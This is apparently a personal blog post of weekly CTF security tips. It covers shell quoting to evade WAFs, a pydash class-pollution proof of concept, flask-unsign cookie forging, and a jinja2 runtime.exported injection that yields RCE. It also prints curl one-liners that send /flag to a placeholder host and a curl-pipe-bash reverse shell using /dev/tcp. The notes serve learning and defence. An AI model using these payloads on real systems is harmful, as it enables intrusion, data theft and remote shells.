Featured image of post 豆知识(第一周)

豆知识(第一周)

生活小妙招

豆知识 第一周

虽然是豆知识,但又不是关于豆子的知识。

linux 命令绕过 waf

l''s 命令执行的效果和 ls 一样,这个是shell的字符拼接特性导致的

除了l''sl""s'l''s''l's都能达到一个效果,甚至echo 出来都是ls

1
2
> $ echo 'l's
> ls

curl出网姿势

今天看到了两种基于curl的出网姿势

直接传

1
2
cat /flag | curl -d @- x.x.x.x:xxxx
curl -d @/flag x.x.x.x:xxxx

这里还涉及一个豆知识,在shell里面,@-表示标准输入,@/flag表示具体文件的内容

反向shell

1
curl http://x.x.x.x:xxxx/shell.sh | bash

后者需要在服务器写一个公网可访问的反向shell字符串

1
2
/var/www/html# cat shell.sh
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

记得打开http.server: python3 -m http.server 8080 -d /var/www/html

然后只要在服务器打开nc监听对应端口就行了

pydash 原型链污染漏洞

虽然python里面没有js里原型链那一套东西,但是里面的原理差不多所以也跟着叫了(

pydash的老版本set_()函数没设置防御,如果不加额外waf让他改啥就改啥,我遇到的是5.1.2,看下面的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pydash import set_

GLOBAL_CONFIG = "safe_default_value"

class User():
    def __init__(self):
        pass

user_data = User()

def demonstrate_pollution():
    global GLOBAL_CONFIG
    print(f"[-] 污染前: GLOBAL_CONFIG = {GLOBAL_CONFIG}")

    key = "__class__.__init__.__globals__.GLOBAL_CONFIG"
    value = "hacked_value"

    print(f"[*] 执行 pydash.set_(user_data, '{key}', '{value}')")

    set_(user_data, key, value)

    print(f"[+] 污染后: GLOBAL_CONFIG = {GLOBAL_CONFIG}")

if __name__ == "__main__":
    demonstrate_pollution()

这个pydash为了方便写作,不管是对象,字典还是数列,都统一用.表示从属关系,所以有__globals__.GLOBAL_CONFIG这个写法,这个真的挺好的,跑下来的结果是

1
2
3
4
[-] 污染前: GLOBAL_CONFIG = safe_default_value
[*] 执行 pydash.set_(user_data, '__class__.__init__.__globals__.GLOBAL_CONFIG', '
hacked_value')
[+] 污染后: GLOBAL_CONFIG = hacked_value

flask-unsign

flask的session是塞到cookie里的,虽然有加密,但是暴露出来就有爆破的可能,特别是在那些拿时间戳做密钥的情况

flask-unsign 提供了从爆破到加密的工具

1
2
3
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6ImJhb3pvbmd3aSJ9.Z20ytA.1XlW1ub_pD2C01b9TRSrpAeX7Ps" --wordlist list.txt

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '3d878169e90d61b3429d932e168282f7'

python LEGB规则

当你在 Python 代码里写下一个变量名(比如 print(x))时,Python 解释器会按照 L -> E -> G -> B 的顺序去寻找这个 x 到底是谁。

  1. Local -局部作用域
  • 函数内部定义的变量
1
2
def func():
  a = 1
  1. Enclosing -嵌套作用域
  • 嵌套函数中,外层函数的命名空间
1
2
3
4
def outer():
    b = 2
    def inner():
        print(b)
  1. Global -全局作用域
  • 当前.py文件最外部定义的变量,导入的库

这个很重要,但注意只包含当前文件最外层的,python里的函数自带__globals__属性来加载全局变量,当你能控制一个类或实例,可以通过类__init__函数接触globals,从而控制当前文件的,全局命名空间的变量和模块

1
2
3
4
5
6
>>> class User():
...     def __init__(self):
...         pass
...
>>> user_data=User()
>>> user_data.__class__.__init__.__globals__
  1. Build_in -内置作用域
  • 兜底作用域,包含python解释器启动时自带的工具

print()len()int()__import__() 这些函数,不必 import 任何东西就能用,因为它们都住在 Built-in 空间(对应的模块叫 builtins

如果在 L、E、G 里都找不到变量,Python 最后会来这里找。如果这里也没有,就会抛出 NameError

python sys模块

这个模块管的是python解释器本身,可以控制python的命令行参数,执行环境,IO之类的

这个sys底下有一个modules的字典,可以管理解释器加载的各种模块,包括自己利用sys.moudules可以访问到加载的所有模块

当你的文件import一个模块之后,由于命名空间隔离, 轮子模块内部加载的命名空间不会暴露给调用轮子的程序,但是可以在sys.modules这个控制python解释器所有模块的字典里面找到

如果当前文件没有sys模块而加载了其他模块,那你可以先从当前globals摸到一个模块,从这个模块开始, 可以通过__loader____spec__(用来处理模块加载和模板的函数)的__init__.__globals__来进入模块导入这个底层机制的命名变量实现逃逸,底层有sys

当然,如果直接就加载了sys直接在__globals__里面调用就行

1
2
3
4
5
6
7
>>> class User():
...     def __init__(self):
...             pass
...
>>> from flask import *
>>> User.__init__.__globals__['globals'].__spec__.__init__.__globals__['sys'].modules['jinja2']
<module 'jinja2' from '/usr/local/lib/python3.10/site-packages/jinja2/__init__.py'>

那这个拿到的’jinja2’有什么用呢?

变量污染 + jinja2 -> RCE

我之前讲了pydash模块的set_函数里面,可以通过属性链实现覆盖指定的变量实现污染,或者在flask代码里面,你有什么其他的方法可以做到变量污染的话,你就可以通过jinja2的一个特性实现RCE,或者直接连上shell,

我们先pip install 一下 flask

jinja2中中有这样一个列表,你也可以在你的xxenv/lib/python3.14/site-packages/jinja2/runtime.py里面找到他的定义

1
2
3
>>> import jinja2
>>> jinja2.runtime.exported
['LoopContext', 'TemplateReference', 'Macro', 'Markup', 'TemplateRuntimeError', 'missing', 'escape', 'markup_join', 'str_join', 'identity', 'TemplateNotFound', 'Namespace', 'Undefined', 'internalcode']

runtime(运行时)指的是模板渲染过程中动态解析和执行的核心环境,它决定了模板如何访问变量、调用函数以及处理逻辑流程。

但这里我们只需要知道runtime里面管理了渲染模板时会拼接进python代码的变量就行了,顾名思义,这里的exported就是别的地方的import: 在xxebv/lib/python3.14/site-packages/jinja2/compiler.py中有如下函数(只提取关键部分):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def visit_Template
  ...
        from .runtime import exported

        if self.environment.is_async:
            exported_names = sorted(exported + async_exported)
        else:
            exported_names = sorted(exported)

        self.writeline("from jinja2.runtime import " + ", ".join(exported_names))
  ...

这里的compiler.py编译器负责的是具体的模板翻译逻辑,其中,会导入.runtime里的exported,然后把这个列表里面的值翻译进去,在渲染时执行 from jinja2.runtime import {exported_names)}其中这个exported_name是我们可以控制的,那只要修改列表中的某个元素为 *; import os; os.system('ls');#就可以实现

1
from jinja2.runtime import *; import os; os.system('ls');#

从而实现RCE,但是这个输出是在标准输出上的,不会像ssti一样打印在屏幕,需要出网

flask里面有这个渲染是直接拼接字符串到代码内部的问题,虽然说fxxk the frontend,但是轮子被改了也不能怪防御不到位,jinja2是没有锅的,问题是后端的人没好好防御

结语

由于ai的出现,传统安全越来越难做了,现在学计算机就像是在蚀之刻的前一天加入鹰之团,也许ai之于程序员就像纺织机之于织布工,现在你说你要自己织布做衣服我会觉得你挺有生活,但你说你要织布养活赚钱自己,那你最好是世界最顶级的手艺人,几年后代码估计也是这样。

织布机是一个伟大的发明,手工织布的时代现在没人怀念,那样的时代也不值得怀念,幸运的是我不像那些学了十几年前端的程序员,一觉醒来发现自己被取代了。我才刚刚起步,ai也才几年时间,去找总会有一些好的机会的,不要排斥ai,也不要屈从于他的淫威,多学点硬本事,懂安全的人总是需要的

再说,谁会期待一个没有可口可乐的世界呢

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计